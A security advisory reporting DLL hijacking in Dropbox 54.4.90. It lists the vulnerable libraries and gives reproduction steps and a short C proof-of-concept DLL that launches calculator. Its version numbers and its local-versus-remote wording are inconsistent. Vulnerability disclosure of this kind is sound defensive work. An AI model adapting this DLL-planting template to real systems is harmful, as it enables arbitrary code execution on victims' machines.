Dropbox 54.5.90 DLL Hijacking

`Document Title:  
===============  
Dropbox 54.4.90 - Multiples DLL Injection/Code Execution  
  
  
Date of Discovery:  
==================  
2018-08-24  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
Platfom Tested:  
===============  
Windows 10  
  
  
Technical Details & Description:  
================================  
A local dll injection vulnerability has been discovered in the official Dropbox v54.4.90 software.  
  
The dll vulnerability can be exploited by local attackers with restricted system user account and without user interaction.  
  
  
Vulnerable Software:  
[+] Dropbox  
  
  
Vulnerable Version(s):  
[+] 54.4.90  
  
  
Affected Libraries:  
[+] cryptbase.dll  
[+] CRYPTSP.dll  
[+] msimg32.dll  
[+] netapi32.dll  
  
  
Proof of Concept (PoC):  
=======================  
A Local DLL Loading vulnerability that could allow an unauthenticated remote attacker to manipulate a specific DLL and  
execute arbitrary code on an affected system without the user's knowledge. Example (trojan horse or a ransonmware)  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the local vulnerability ...  
1. Compile dll  
2. Rename the dynamic link library above  
3. copy the name of dll above to C:\Program Files\Dropbox\Client\Dropbox.exe  
4. Launch Dropbox.exe  
5. Now the calculator executes!  
  
  
-- PoC Exploit --  
#include <windows.h>  
#define DLLIMPORT __declspec (dllexport)  
  
DLLIMPORT void HrCreateConverter() { evil(); }  
  
int evil()  
{  
WinExec("calc", 0);  
exit(0);  
return 0;  
}  
  
  
# Disclaimer:  
===============  
  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the  
author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related  
information or exploits by the author or elsewhere.  
  
  
  
Copyright A(c) 2018 | ZwX - Security Researcher (Software & web application)  
  
`